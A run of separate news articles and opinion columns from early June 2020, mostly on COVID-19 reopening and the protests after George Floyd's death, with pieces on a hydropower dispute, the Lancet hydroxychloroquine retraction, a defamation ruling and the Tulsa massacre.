The regional leaders will be the ones who make decisions in Phase 3 in their territory and who can request to enter the new normality, added Finance Minister and government spokesperson Maria Jesus Montero at the government press conference.

The Madrid region and the city of Barcelona and its metropolitan areas  some of the places hardest hit by the outbreak in Spain  will enter Phase 2 on Monday. Under this stage, regions are able to decide whether or not classes should restart in schools, social gatherings of up to 15 people are allowed, and there are no restrictions on outdoor activity.

Also moving to Phase 2 is the Catalan comarca of Lleida, which was held back last week due to an outbreak of coronavirus cases, and the region of Castilla y Leon, with the exception of the Bierzo healthcare area, which moved into this stage on Monday.

In Castilla-La Mancha, the provinces of Toledo, Ciudad Real and Albacete will remain in Phase 2. The regional government of Valencia, which entered Phase 2 on Monday, was the only one not to request a phase change.

Differences between Phase 2 and Phase 3 The main differences between Phase 2 and Phase 3 of the coronavirus deescalation plan are the limits put on capacity at restaurants, libraries and other public-facing facilities. For example, sidewalk cafes can open at 50% capacity under Phase 2, and at 75% under the latter. The number of people allowed in social gatherings is also higher, 20 compared to 15. Bars are also allowed to reopen under Phase 3, but with safety measures in place. Another important difference is that regional authorities assume control of the deescalation process during this stage, and can decide how long this last phase should last.

English version by Melissa Kitson.
Plans to provide summer tuition to thousands of students who need additional support are expected to get the green light in the coming days.

This follows concerns that limitations were to be put on summer schooling for children with special educational needs, which would see thousands of children excluded this year.

On Friday, Joe McHugh, the Minister for Education, confirmed that a summer education programme will take place. It gives us an opportunity to provide vital additional support for some of the children with significant special educational needs and those who have been at risk of educational disadvantage since schools closed in March, he said.

Following a briefing with officials in the Department of Education this week, Inclusion Ireland said the department seemed set on "narrowing" the scheme, by limiting it to children who currently attend special schools and special classes only.

A spokesman for Mr McHugh said it will not be the case that only children who are in special classes or special schools will be able to avail of the programme, or attend any service offered as part of the programme.

The scheme will be similar to previous years, and anybody who has been eligible in previous years will be eligible again, he added.

Students are still set to return to their classrooms at the beginning of autumn despite an acceleration on exiting the lockdown.

Teaching unions, principals and school management bodies met on Friday to discuss the logistics of returning to classrooms in August.

Further details on reopening schools are expected to be published next Friday.
Tokyo confirmed 28 new COVID-19 cases on Thursday, two days after Gov. Yuriko Koike issued a Tokyo Alert in a sign of a possible resurgence of infections in the capital.

The alert serves as a call for caution. But if the number further increases, the Tokyo Metropolitan Government plans to issue requests again to businesses and people that would halt social and economic activities.

Tokyo reported 34 cases on Tuesday, the highest since Japan fully lifted its state of emergency last week and the first time since May 14 for daily infections to top 30. On Wednesday, 12 new cases were reported.

Koike has warned that Tokyo is seeing an increase in infections among those who go to or work in nightlife districts, especially in the Shinjuku area this week.
By Express News Service

GUWAHATI: Joining environmentalists and wildlife activists, a lawyers body, Indigenous Lawyers Association of India (AILA) urged the Centre and Arunachal Pradesh government to cancel the Dibang Valley Hydropower Project.

The 3,097 MW project in Arunachal, to be developed by Etalin Hydro Electric Power Company Limited, is a joint venture between Jindal Power Limited and Hydro Power Development Corporation of Arunachal.

At a time, the destruction of nature has been blamed for upheavals in the world including pandemic and green energy is being increasingly promoted, the construction of outdated hydroelectric projects by destroying the nature must be abandoned, AILA coordinator Dilip Chakma said.

The project entails the felling of 2.7 lakh trees in the subtropical evergreen broad-leaved forest and subtropical rain forests and diversion of 1,150.08 hectares of forest land. The Dibang Wildlife Sanctuary is a habitat of the tigers including snow tigers.

In 2017, the Forest Advisory Committee (FAC) had recorded that project location preserves luxuriant forests and plethora of flora and fauna, and about six globally-threatened mammal species out of which three are endangered and three are under the vulnerable category. About 680 bird species were recorded, which is about 56% of total bird species of India. Out of the 680 bird species, 19 are globally threatened, 10 near threatened, four critically endangered, two endangered, 13 vulnerable species and three very rare restricted range endemic bird species, the AILA said in a statement.

The lawyers body said the area is critical for the conservation of the bird species and the entire region falls under the International Union for Conservation of Nature (IUCN) management categories III and IV, Endemic Bird Area, Global Biodiversity Hotspot, and Key Biodiversity Area indicating its importance at global scale.

The Forest Advisory Committee had also stated in 2017 that the land in which the project is proposed is in pristine forests with riverine growth that once cut cannot be replaced. There are attempts to re-write the findings of the FAC of 2017 which must be condemned. The Dibang Valley project must be abandoned to save the mother earth, the statement said.

Recently, a group of former members of the National Board of Wildlife (NBWL) and conservationists petitioned the Union Ministry of Environment, Forest and Climate Change, urging it to reject the FACs sub-committee recommendations pertaining to the project.

We have very carefully studied various aspects pertaining to the Etalin HEP and are deeply concerned about the recommendationsthat the project may be allowed subject to the condition that the financial outlay of Wildlife Conservation Plan be deposited to Forest Department by User Agency on the basis of a Wildlife Study done by WII which is accepted in toto former NBWL members Praveen Bhargav, Shekar Dattatri, Biswajit Mohanty and Kishor Rithe and conservationist DV Girish had written to the FAC chairperson and members.
Undermining Their Own Message

Two Crises in Collision

Risks in Protesting

COVID-19 doesnt care if your cause is just. Given the chance to ride a droplet from one human to another, the virus will do so, whether those people are in close quarters at work, a beach  or a protest.After months of people largely staying apart, millions have gathered in an ongoing series of protests against police brutality and racism all over the country. Rather than being horrified, some prominent voices in public health are applauding.Asking people to choose between their rights & demands for justice and their health is not a choice we need to ask of people, tweeted Andy Slavitt , a former top health official in the Obama administration and a prominent commentator and government adviser during the coronavirus pandemic. Going to a protest doesnt mean people are throwing caution to the wind.Hes not alone. Other health experts have made similar comments in recent days, undermining their own weeks of warnings. Hundreds of public health workers have signed an open letter in support of the protests. "As public health advocates, we do not condemn these gatherings as risky for COVID-19 transmission," the letter states. "We support them as vital to the national public health and to the threatened health specifically of black people in the United states."States blocked non-work mass gatherings, defined as being as few as 10 people. Now, many mayors and governors have given either tacit or explicit blessings to gathering in much larger numbers.I support these protests and I thank the thousands of residents who peacefully and respectfully took part, Democratic Gov. Phil Murphy of New Jersey, who has overseen one of the most restrictive COVID-19 regimes, said at a news conference on Monday. Its one thing to protest what day nail salons are opening and its another to come out in peaceful protest, overwhelmingly about somebody who was murdered right before our eyes.All of this comes as a head-spinning shock to skeptics of the stay-at-home approach. For weeks, conservatives who argued that some activities needed to continue despite the health risks were described as selfish or even evil. Now, they see progressives flooding the streets and wonder why public health officials arent demanding that they go home.The protests have exposed the absurdity of the continued lockdowns, writescolumnist Karol Markowicz. Its either a public health emergency and crowds must be stopped or its not. It cannot be both.After months of invoking science and data to drown out counter-arguments, public health officials are now conceding that politics is an essential part of life. The right to assemble is a constitutional right. But other rights have been suspended due to the pandemic. The right to worship is also protected by the First Amendment, but the ability of states to block churches from holding in-person services has been fought all the way to the Supreme Court, which upheld a California ban last week.Conservatives arent mad because there are protests, tweeted GOP consultant Drew Holden . Were mad because ALL OF YOU said we were evil for suggesting mere weeks ago that some things are too important to keep locked down.By expressing sympathy for protests, public health officials have ceded the moral high ground, or at least made their own messages harder to hear. Its much harder to issue warnings that nearly everything that increases contact should be avoided, if youre okay with protests.Health experts can and will talk about the difference between indoor and outdoor gatherings, or the separate calculations that should go into weighing risks for something important, like a protest, compared with something more frivolous, like a pool party. Still, people can see with their own eyes that groups in the thousands have gathered every day for more than a week. Those images that we see on television can be searing and also create their own reality, says Patrick Remington, a University of Wisconsin public health professor. Theres no question that what you see changes your sense of what is a social norm.Slavitt and other public health experts note that protesters can mitigate their risks by following simple steps such as wearing masks, using hand sanitizer and staying home if they feel sick. Some health departments are tweeting out exactly such guidelines. Cities such as Houston and St. Louis are giving out masks at protests.In a perfect world, wed love for people to continue social distancing and stay home, but that may not be the reality right now, says Chrissie Juliano, executive director of the Big Cities Health Coalition, which represents large metropolitan health departments. Its just really difficult, given the level of brutality and racism, to publicly say, dont do this.At a news conference on Wednesday, Pennsylvania Health Secretary Rachel Levine was asked why the state was continuing to block large gatherings in some counties, even as Democratic Gov. Tom Wolf was participating in a protest in one of those counties.The governor has always said that the people have the right to protest and demonstrate and the right to free speech, Levine said. Overall, we want large gatherings such as a party or a concert to be under 250 people, but we are not restricting peoples right to protest.Endorsing or not condemning the current wave of protests will make it harder to argue that other gatherings should be avoided or canceled. After all, the virus doesnt make such fine distinctions. And the same precautions can be taken at other types of events.Knowing what I know now I wouldve protested to get in to see our family members before they died and broke all the rules, tweeted Janice Dean , ameteorologist.The anti-police protesters say theyre fighting for their lives. The American Public Health Association describes racism as a public health crisis.The way I conceptualize the problem, racism and COVID-19 both pose health risks, says Dolores Albarracin, an expert on health communication at the University of Illinois. The protests could decrease one risk while increasing the other.Its certainly true that blacks are suffering disproportionately both from the coronavirus itself and the resulting economic downturn, as well as police brutality. Perhaps the protests are a necessary expression of grief and anger, even during a pandemic.But if thats the case, its now much harder to argue to people who care passionately about other causes  or demand to exercise their normal freedom to pursue lawful activities  that they still need to wait a while due to COVID-19.When earlier groups of protesters demanded an end to stay-at-home orders, they were sometimes greeted by health professionals in uniform who sought to make the point that lives were at stake. A nurse in Denver who stood in the middle of the street to block protest traffic drew national attention back in April. Conversely, in recent days, health professionals in scrubs have taken a knee or joined in applauding anti-police protesters.Granted, the protesters who showed up at state capitols to complain about stay-at-home orders were arguing directly against public health measures. Still, it would be difficult and perhaps hypocritical to draw a distinction between the current protests and any other cause that people feel passionately about. In a democratic society, insisting only certain flavors of gathering will receive an official seal of approval  well, thats the type of thing people protest against.Protesters this week have had to make many calculations. They know theres a chance they can be arrested, tear-gassed or beaten, perhaps killed. Theyre clearly willing to take those risks, as well as the new risk of being infected.People who are interested in going to protests will balance their motivation to do so against the perceived threat from COVID-19 and their own perceived resources and personal capability to protect themselves, says Pavel Blagov, an associate professor of psychology at Whitman College in Washington, who has studied health behavior and public health messaging.Many protesters  especially the peaceful contingents gathering in daylight  have taken precautions such as wearing masks and using hand sanitizer. But its impossible to stay six feet away from strangers when dozens or hundreds of strangers are bunched together in close quarters.One of the earliest and most widely cited warnings as the virus began to spread in the U.S. was a war-bond parade in Philadelphia, during the Spanish Flu pandemic of 1918. Within a week of the parade, 45,000 Philadelphians were infected. Within a month, more than 10,000 were dead. It's true that nearly every documented COVID-19 outbreak around the world has occurred indoors, but being outside does not provide immunity against transmission. Outdoor gatherings in the more recent past have spread infectious diseases including measles and flu.Some health experts warn that further spread of COVID-19 as a result of the protests is inevitable. Individual protesters may feel that they have carefully weighed the risks for themselves, but a major part of the public health message has been that avoiding contact is important because of the chance of spreading infection to others. Thats a message thats now been successfully, if perhaps inadvertently, drowned out by the anti-police protests.It was already a challenge for health officials to present a unified message. President Trump has sometimes made statements that contradicted his own administrations guidelines. Every state is charting its own course. I think its unfortunate were already having different messages and confusing messages, given that different jurisdictions within states are opening up differently, says Juliano, of the Big Cities Health Coalition.She says the most important thing is for people to listen to their local health officials, who have the best grasp of conditions on the ground. Still, they know their attempts to warn people about the dangers of congregating are now more difficult.While I support peoples right to protest, what I dont want is their rage to cost them their lives, George Dunlap, who chairs the Mecklenburg County, N.C., Board of Commissioners, said at a hearing on Tuesday.
African countries have secured 90 million test kits for the novel Coronavirus for the next six months, a regional disease control body said on Thursday, urging states and donors to boost testing capabilities on the continent as quickly as possible.



We needed to increase our testing very quickly to about 10 to 20 million tests to move ahead of the curve. This is a call to action which means we have to rally everybody, said John Nkengasong, head of the Africa Centres for Disease Control and Prevention (Africa CDC), a branch of the African Union bloc.



Nkengasong presented a new initiative, the Partnership to Accelerate Testing in Africa (PACT), which aims to increase testing across the continent. He added that 3.4 million tests have been conducted in Africa so far, about 1,700 tests per 1 million people, compared to 37,000 tests per 1 million in Italy and 30,000 per 1 million in Britain.



Last week South Africa said it had a backlog of more than 96,000 unprocessed specimens awaiting coronavirus tests, reflecting what the government called a global shortage of test kits.



Even with the supplies from PACT and other sources, there is a supply gap of around 25 million tests needed to match the testing rate of Europe, according to the Tony Blair Institute for Global Change.



So far Africa has 161,793 confirmed cases of the novel coronavirus, with 4,592 deaths and 69,953 recoveries, according to a Reuters tally based on government statements and World Health Organization data.

Source: af.rauters.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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JACKSON COUNTY, MI  Cory Mays would walk around downtown Jackson with his mask on, stopping to talk to business owners in their empty stores.

Mays, executive director of Jacksons Downtown Development Authority, kept an eye on businesses closed during the novel coronavirus pandemic and Gov. Gretchen Whitmers stay-home order.

No businesses he knows of downtown have permanently closed since the start of the order that temporarily closed a lot of small businesses and forced restaurants to serve to-go orders only.

Two percent of Michigan restaurants have permanently closed since the pandemic began in March, while 4 percent are expected to permanently close by mid-May, a survey from the Michigan Restaurant and Lodging Association said. Just more than one in five U.S. businesses have said they are two months or fewer away from permanently closing, a May 5 survey from the U.S. Chamber of Commerce said.

But dont count Jackson businesses out of the fight, Mays said.

Bet on Jackson that were going to come back stronger than we were before, he said. I dont think this is going to get us down. I think it was a bump in the road, but I think were going to rally. I think its going to be an amazing resurgence again and were going to see the strength of Jackson.

Whitmer lifted the states stay-home order on June 1 and announced several businesses could reopen if precautions were taken, adding she will be lifting more restrictions in the coming weeks.

This includes house cleaners, drive-in theaters, retailers as long as they adhere to social distancing guidelines and, on June 8, bars and restaurants at half capacity.

Michigan coronavirus stay-at-home order lifted: Heres what opens when

Businesses had to adjust quickly to find ways to continue serving customers as storefronts temporarily closed. Now, theyre figuring out how to do in-person business in a new world.

"Helping businesses reopen is going to take continued efforts as we slowly phase into a new normal, Mays said.

The Jackson County Chamber of Commerce dedicated the bulk of its time during the shutdown assisting member businesses in finding financial support and developing plans for operating safely when they got the green light to reopen.

Weve been keeping our ear to the ground, listening to every new bit of information coming out to best determine how to reopen the economy here safely, Craig Hatch, president/CEO, said. There is no playbook here on how to get back on track, but we know the old norm wont be the new norm in these unprecedented times.

Theres no universal solution to reopening Jacksons economy, as each business its own unique stresses, Hatch said.

As reopening plans continue to develop, the chamber directs members on how to get financial support, both from grants and loans, as well and getting supplies they need now, focusing on local suppliers when possible, since businesses will need additional protective equipment to open and operate safely.

There are so many what ifs going on and were looking to follow the health departments recommendations, but as I stated before, things can change at a moments notice, Hatch said.

The Jackson County Health Department has released a tool kit to help guide businesses as they start reopening. Some of the key components are keeping people six feet apart, wearing personal protective equipment and screening employees and establishment visitors for symptoms of the virus.

I would want (customers) to know that safety is No. 1, Mays said. Ive talked to so many (businesses) that are ready to take safety measures that may not even be required.

Playgrounds, mini golf reopening in Jackson after stay-home order ends

Fulfilling its mission to attract new businesses and keep current businesses in Jackson, the Enterprise Group has been working as a fiduciary arm connecting Jackson businesses to grants and loans to keep them alive during the shutdown.

It was an initial shock when the shutdown came, but then the business community took a deep breath a started to looking into what it would take to get back to work, Enterprise Group President/CEO Tim Rogers said. This (shut down) has not been an ideal situation for anyone, but I havent been hearing a lot of doom and gloom here in Jackson.

Businesses in Jackson generally have a positive attitude about dealing with the shutdown and returning to work and focusing on how to get through the pandemic, Rogers said.

You have to keep your eyes open and look for perspective on what is going on. You cant just bury your head under a rock and dwell on how bad things are, Roger said.

With manufacturing restarting on May 18, many factory workers in Jackson returned to work with a few modifications. Instead of getting to work immediately, the first 30 minutes of the day are spent taking temperatures and going over worker safety procedures to adhere to state orders.

Its been a little weird at first, a strange way to start the day, but weve all been adapting, Jacksons Die-Namic Tool & Design Vice President Chad Whiting said. Some of the employees dont like the changes, but this is the new normal for now.

The company, which started as a two-man operation in 2002, shut down in March as ordered by the state. Since returning to work, it has received several new job orders to create custom parts, Whiting said.

Things have been slow and we know it will take some time before were fully back to business as usual, Whiting said.

Making people feel comfortable and safe in stores is a high priority for businesses, James Steve Shotwell Jr., a Jackson County commissioner and owner of Millers Shoe Store in downtown Jackson, said.

His store uses cleaning wipes to hold credit cards for check out, so there is no physical contact between the employee and customer.

Its an environment thats going to be new, Shotwell said. The fastest ones to innovate will be the ones that do the best coming out of this. People have to feel safe.

Jackson County officials say they wont pay for Gov. Whitmers executive orders

As businesses reopen and people start leaving their homes more, Henry Ford Allegiance Health is prepared for a potential increase in coronavirus cases, Chief Medical Officer Mark Smith said.

Were hoping that with social distancing and all the things we put into place as a state, that any increase in COVID cases we might see, well be able to manage with normal operations, he said.

While the number of cases the hospital is treating has decreased, it still has dedicated rooms and floors for symptomatic patients, Smith said. Being prepared for positive cases is the new normal, he said.

The hospital has been able to increase its number of time-sensitive surgeries performed as coronavirus cases decrease, he said. It is preparing to restart truly elective procedures in mid-June, unless Whitmers executive orders change, Smith said.

Hospital visitations in Michigan can resume immediately after Whitmer rescinds trio of executive orders

Federal funding to help prevent water shutoffs, evictions and foreclosures was approved by the Jackson City Council on May 26.

The more that we can help residents, the more that its going to help business owners living in town, and also the customers that will be able to lessen their financial hardship to some degree, Jackson Mayor Derek Dobies said.

Funding to help combat homelessness approved by Jackson council

The coronavirus may have changed how business operate and the everyday lives of people, but Jackson will get through it because the people are strong, Dobies said. Successfully rebounding from hardship is not new to the city that faced the closing of two major factories -- Clark Equipment Co. and Goodyear -- in the early 1980s.

I think theres a tremendous amount of grit in Jackson from what Ive seen in my time working here," he said. "I think that grit is going to really allow Jackson to propel itself out of this pandemic, hopefully faster than other cities.
Reliance Industries Ltd is quoting at Rs 1595.4, up 0.99% on the day as on 12:49 IST on the NSE. The stock is up 21.33% in last one year as compared to a 14.62% drop in NIFTY and a 14.51% drop in the Nifty Energy.

Reliance Industries Ltd is up for a fifth straight session in a row. The stock is quoting at Rs 1595.4, up 0.99% on the day as on 12:49 IST on the NSE. The benchmark NIFTY is up around 0.83% on the day, quoting at 10112. The Sensex is at 34196.62, up 0.64%. Reliance Industries Ltd has risen around 10.25% in last one month.

Meanwhile, Nifty Energy index of which Reliance Industries Ltd is a constituent, has risen around 8.15% in last one month and is currently quoting at 13704.6, up 1.9% on the day. The volume in the stock stood at 100.91 lakh shares today, compared to the daily average of 225.33 lakh shares in last one month.

The benchmark June futures contract for the stock is quoting at Rs 1592.75, up 0.79% on the day. Reliance Industries Ltd is up 21.33% in last one year as compared to a 14.62% drop in NIFTY and a 14.51% drop in the Nifty Energy index.

The PE of the stock is 31.28 based on TTM earnings ending March 20.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
MONROE  At long last, Pepper Street reconstruction work is slated to begin.

The $7.5 million project, which has been in the pipeline for several years, and includes widening, culvert work, reconstruction and drainage upgrades, is 90 percent funded through state and federal grants.

Utility work will begin shortly, said First Selectman Ken Kellogg, with road reconstruction activities following by the middle of June 2020. The project is currently scheduled to be completed by the summer of 2021.

Work will include the intersection of Main Street/Route 25 and North Pepper Street, and Pepper Street from Cambridge Drive to Grant Road.

Although local and emergency access will be maintained at all times, there will be some periods of alternating traffic.

For more information, residents can contact Town Engineer Scott Schatzlein at 203-452-8631 or sschatzlein@monroect.org or Adam Dawidowicz of BL Companies at 860-760-1910 or adawidowicz@BLcompanies.com.

The Town Council last month unanimously approved an agreement between the town and BL Companies Connecticut Inc. for inspection services for the project, which involves reconstruction of 4,500 linear feet on Pepper Street for safety improvements, and multi-use trail improvement from the Northbrook Condos to Grand Road.

The Pepper Street road project grants, which cover 90 percent of the costs, remain committed by the state and federal government and the project has continued to proceed, said Kellogg. The actual construction phase should begin in the very near future.

Kellogg has stated that the project will help support future economic development of the existing industrial park by supporting commercial traffic coming to and from Route 25.

The way this grant program works, towns have to pay costs up front, and we will be reimbursed the 90 percent on a monthly basis, said Kellogg, adding that the project will be 80 percent funded by a federal grant, with the town paying 10 percent and the state putting in the final 10 percent.

The project, Kellogg said, was originally approved in 2014 and has been in the design phase for several years and, until recently, pending further action by the state to proceed. Town Council has already approved the construction agreement with The Grasso Companies LLC.

brian.gioiele@hearstmediact.com
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New York, June 5 : In the first major research scandal to emerge from the coronavirus pandemic, The Lancet, one of the world's most influential medical science journals, has retracted a research paper by four authors Dr. Mandeep R. Mehra, Dr. Frank Ruschitzka, Dr Amit N. Patel and Dr. Sapan Desai who reported that malaria drugs chloroquine and hydroxychloroquine, touted by US President Donald Trump as "gamechangers" in the fight against COVID-19, increase mortality in patients.

Just as context, this development comes at a time when hydroxychloroquine has proved ineffective in the first large study which tests it in people in close contact with COVID19 infected people. These results were published this week by the New England Journal of Medicine.

"Today, three of the authors of the paper, "Hydroxychloroquine or chloroquine with or without a macrolide for treatment of COVID-19: a multinational registry analysis", have retracted their study. They were unable to complete an independent audit of the data underpinning their analysis. As a result, they have concluded that they "can no longer vouch for the veracity of the primary data sources", The Lancet said in a statement on Thursday.

Science Magazine quotes researchers and online investigators expressing shock that the retracted Lancet paper includes "astonishing number of patients and details about patient demographics and dosing that seemed implausible." Soon after the study was published, large randomised trials of chloroquine and hydroxychloroquine came to a sudden halt.

Mehra, Ruschitzka, and Patel are three of the four authors who have retracted this study that has existed for exactly 13 days. The fourth author - Sapan Desai - is the founder of the company which supplied the database and is missing from the list of names in the Lancet retraction statement.

This study was first published on May 22 and concerns began mounting almost immediately about this and one more study in the New England Journal of Medicine where the same company - Surgisphere - supplied data.

The Surgisphere database in the retracted Lancet study has been in the spotlight because of its size a" nearly 100,000 patients".

On its website, Surgisphere defends its data integrity.

"Our studies, including that published in The Lancet, use a registry, with data obtained from electronic health records (EHR). In our hydroxychloroquine analysis, we studied a very specific group of hospitalised patients with COVID-19 and have clearly stated that the results of our analyses should not be over-interpreted to those that have yet to develop such disease or those that have not been hospitalised," says an excerpt from its statement.

The Lancet is not alone in retracting a COVID19 paper that has attracted widespread attention.

The New England Journal of Medicine today put out a thick paragraph retracting their article called "Cardiovascular Disease, Drug Therapy, and Mortality in Covid-19." Here too, Surgisphere is the data pipeline, Dr. Mandeep Mehra of Brigham and Women's Hospital in Boston led both the Lancet and NEJM studies and the authors in both cases include Sapan Desai, Surgisphere's founder.

Reacting to the latest developments, physician-scientist Eric Topol tweeted, "If authors misrepresent that they had full access to the data, there isn't any way to verify or refute that. The system relies on trust." (Nikhila Natarajan is on Twitter @byniknat)

Latest updates on Coronavirus (COVID-19)
A Winnipeg pharmacist has been ordered to pay $150,000 in damages to the College of Pharmacists of Manitoba after he accused the regulatory body of covering up the deaths of 24 Indigenous people.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

A Winnipeg pharmacist has been ordered to pay $150,000 in damages to the College of Pharmacists of Manitoba after he accused the regulatory body of covering up the deaths of 24 Indigenous people.

Daren Jorgenson filed a complaint with the college in 2016, alleging the "actions or inactions" of two pharmacies had resulted in the deaths of 24 Indigenous people in northern Manitoba.

Last year, the college sued Jorgenson for defamation, harassment and nuisance after he sent a series of emails to college personnel and engaged in other communications described as "intimidating and threatening" in content.

"I am satisfied that the college has established the essential element of defamation, because Mr. Jorgenson agrees that he made the comments about the college, in writing, to an audience," Queens Bench Justice Candace Grammond wrote in a 24-page decision released Wednesday.

"In addition, it is clear to me that the comments would tend to lower the colleges reputation in the eyes of a reasonable person, which means they are defamatory," she said.

Jorgenson provided the court with no evidence he had any direct knowledge of the deaths he accused the college of covering up, Grammond said.

"Although he repeatedly referred to the deaths as 'documented,' he has produced no documents regarding the deaths, including the names of the deceased individuals, the particulars of their deaths or cause of death, or any other information or documents that support his defences," she said.

The college attempted to investigate Jorgensons complaint, but he didnt co-operate, declining to share documents or meet with an investigator, Grammond said.

In 2018, Jorgenson reported the deaths to RCMP, which closed its investigation the following year with no charges laid.

"While it appears that Mr. Jorgenson truly believes that deaths occurred, his subjective beliefs, in the absence of direct knowledge, are not evidence, and do not assist him," Grammond said.

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Jorgensons persistence in advancing his claims "was high-handed, oppressive and malicious," she said.

Jorgenson said he intends to appeal the ruling.

"It is appalling how systemic racism against First Nation Canadians is handled by Canadian society and courts," he said.

Grammonds ruling permanently prohibits Jorgenson from contacting the college registrar, her replacement or college staff. He was also ordered to pay the colleges court costs.

dean.pritchard@freepress.com
Itanagar, June 5 : When frontline workers across India and the rest of the world are in an all out war against COVID-19, a government school teacher in Arunachal Pradesh has been voluntarily rendering service to the villagers to curb the spread of the pandemic.

John Panyang, a secondary school teacher at Ruksin in East Siang district (in eastern Arunachal Pradesh), has recently set up a temporary "Screening Centre" at the entry point of Ngorlung-Ralung village near the Assam-Arunachal boundary where he is screening the villagers and people returned from outside the state.

"Panyang has erected the makeshift screening centre in a hut using transparent polythene and bamboo. He is equipped with an infrared thermal scanner machine, face mask, hand gloves and alcoholic sanitizer," a senior health department official told IANS over the phone from Itanagar.

"The teacher on his own purchased the thermal scanner machines, face mask, hand gloves and alcoholic sanitizer to render the voluntary service. He informed us that he got the basic training about the screening method from government doctors, who are also encouraging the initiative," the official said, refusing to be identified.

While talking to IANS over phone, Panyang said that if anyone is found with high body temperature, the person is requested to go to the Ruksin Community Health Centre (first referral health unit) for necessary medical support. "Since I started the screening of villagers on Monday, I have screened 300 people with three of them found with fever." However, all the three people later tested negative for COVID-19, he said adding that he observed that the inter-state boundary area is highly vulnerable to viral infection with wage earners and office goers crowding the Assam-Arunachal Pradesh area.

"Besides the villagers, I have screened people who came from outside the state. Villagers and my friends are also helping me to do the job. Local people of nearby Debing village had constructed ten quarantine huts to facilitate home stay for those people who have been discharged from the government run quarantine centres, he added." East Siang district Deputy Commissioner Kinny Singh appreciated Panyang's voluntary service to the villagers. "I would talk to the gentleman and would try to help his initiative. As the schools are now shut due to COVID-19 related restrictions, the teacher without sitting idle is performing a noble task in this hour of pandemic," she told IANS by phone from the district headquarters Pasighat.

Singh, herself an alternative medicine doctor turned IAS officer, said that the people of the mountainous state are very conscious about the dreaded virus nCoV.

Arunachal Pradesh, which shares a 1,080 km border with China in the north and northeast and 440 km frontiers with Myanmar to the east, has so far found 42 positive cases with 41 active cases. A 31-year-old man recovered from the disease and was discharged from the hospital on April 24. The Arunachal man from Medo village had attended the Tablighi Jamaat congregation in Delhi.

(Sujit Chakraborty can be contacted at sujit.c@ians.in)

Latest updates on Coronavirus (COVID-19)
In the wake of the killing of George Floyd and the days of protests that have ensued, many people are calling for police reform.

Some Pennsylvania legislators including House Democratic Whip Jordan Harris and House Democratic Chairwoman Joanna McClinton are leading the call in the commonwealth to enact reforms to address the continuing protests over police abuse of power.

The legislators are particularly concerned about the series of killings of African American men and allegations of rampant racism in the criminal justice system.

Harris and McClinton will be guests at noon Friday on PennLives Live On with Joyce Davis on Facebook Live. They will discuss the series of reforms they are proposing to try to prevent further loss of life and to hold police accountable for acts of abuse.

Bring your questions and comments at noon today for PennLives Live On with Joyce Davis, sponsored by Bravo Group.

Quality local journalism has never been more important. You deserve the best. Not a subscriber yet? Please consider supporting our work.

And please subscribe to Battleground PA to stay abreast of the issues in the 2020 elections!
As George Floyds tragic death has led to protests around the globe, Australias Prime Minister Scott Morrison reportedly warned people against going to any Black Lives Matter (BLM) demonstrations planned across the country. While the rallies that have erupted highlight the struggles faced by Aboriginal and Torres Strait Islanders, the large gatherings have also caused some concerns amid COVID-19 crisis. Morrison urged citizens to not go and said that health advice is very clear.

While speaking to an international media report, Morrison said that that it is not a good idea. He added that the citizens need to find better and another way to express their sentiments, rather than putting their own health at risk and the health of others at risk. The Australian PM also talked about the great gains that the country has made to contain the spread of COVID-19 in recent months. He told citizens not to forget the terrible economic consequences that the spread of the deadly virus can lead to.

READ: Protesters Rally For Black Lives, Remind Australia Of Past

READ: PM Modi & His Australian Counterpart Did Not Discuss Standoff With China At LAC: MEA

NSW disapproves gathering

Morrison urged citizens not to put the country at risk and he also asked them to exercise their liberties responsibly. Meanwhile, according to an international media report, the New South Wales Police force is attempting to take the organisers of a BLM protest in Sydney to the Supreme Court in a bid to stop them from going ahead. NSW Premier Gladys Berejiklian reportedly said that her government would never approve a gathering of that many people who would be disregarding the health orders.

While speaking to an international media outlet, Berejiklian said that gathering is not allowed as the protests could not guarantee adherence to the health orders. She said that they can not guarantee safe social distancing and simply the number of protesters far exceeds the health orders and the government can not afford to have exceptions for anybody. As per reports, the supreme court is expected to hand down a decision about whether the protests can go ahead. Meanwhile, the South Australian police will reportedly allow the rally planned for Adelaide to go ahead as they believe that it is a unique and extraordinary event.

(Image: AP)

READ: Australia's Great Barrier Reef Suffered Its Most Extensive Coral Bleaching Event In March

READ: Australian PM Asked To 'get Off The Grass' By Local Resident During Stimulus Announcement
Ninety-nine years ago, rioters took to the streets of Tulsa, Okla., but instead of fighting for justice, they extinguished one of the most vibrant black communities in America.

Tulsa was home to the Greenwood District, established by freed slaves and nicknamed the Black Wall Street due to its financial success. The segregated, 35-block neighborhood was the most prosperous African American community in America in 1920. By June 1, 1921, it was gone.

The story is complicated, but all too common in the early 20th century. A black man unjustly accused of assaulting a white woman. A white lynch mob opposed by black protesters. First shouts, then shots, followed by carnage.

TOMLINSONS TAKE: June will be Americas most important test in fight against COVID-19

Law enforcement officers and the Oklahoma National Guard joined white thugs in ethnically cleansing Greenwood. They killed hundreds, destroyed 1,256 homes and 191 businesses, put 6,000 blacks in prison camps and made 10,000 homeless.

The Tulsa Race Massacre was one of the most brutal attacks on African Americans in U.S. history, but such violence was not uncommon. What was unusual was Greenwoods success.

The United States passed the 14th Amendment in 1868 guaranteeing equal protection under the law, but it did little to change Americas racist culture. For the next century, whites denied blacks access to higher education, well-paying jobs, valuable real estate and loans to start businesses.

When African Americans demanded equal protection, as the Constitution promised, baton-wielding police and white-robed nightriders met them with brutality. The Civil Rights movement brought new laws but did little to fix the economics.

Today, African Americans still register double the unemployment rate of whites and own a fraction of the wealth. Dramatic economic inequities persist.

Recently, I wrote a column about how the systems governing our schools, banks, taxes, police and health are failing a large portion of American society. What I did not mention is how black people suffer these inequities disproportionately, or how it's an echo of Americas original sin of slavery.

Most white people do not want to address this injustice. I know from experience.

I conducted a personal truth and reconciliation mission to understand what happened between my white ancestors and the descendants of the people my great-great grandfather enslaved. In 2014, I released the results in my book Tomlinson Hill, which became a New York Times bestseller.

I learned that my great-grandfather exploited black sharecroppers and kept them in economic slavery. I discovered how my grandfathers membership in the Ku Klux Klan helped him get ahead in Dallas real estate development. My research revealed how white institutions kept African Americans in poverty.

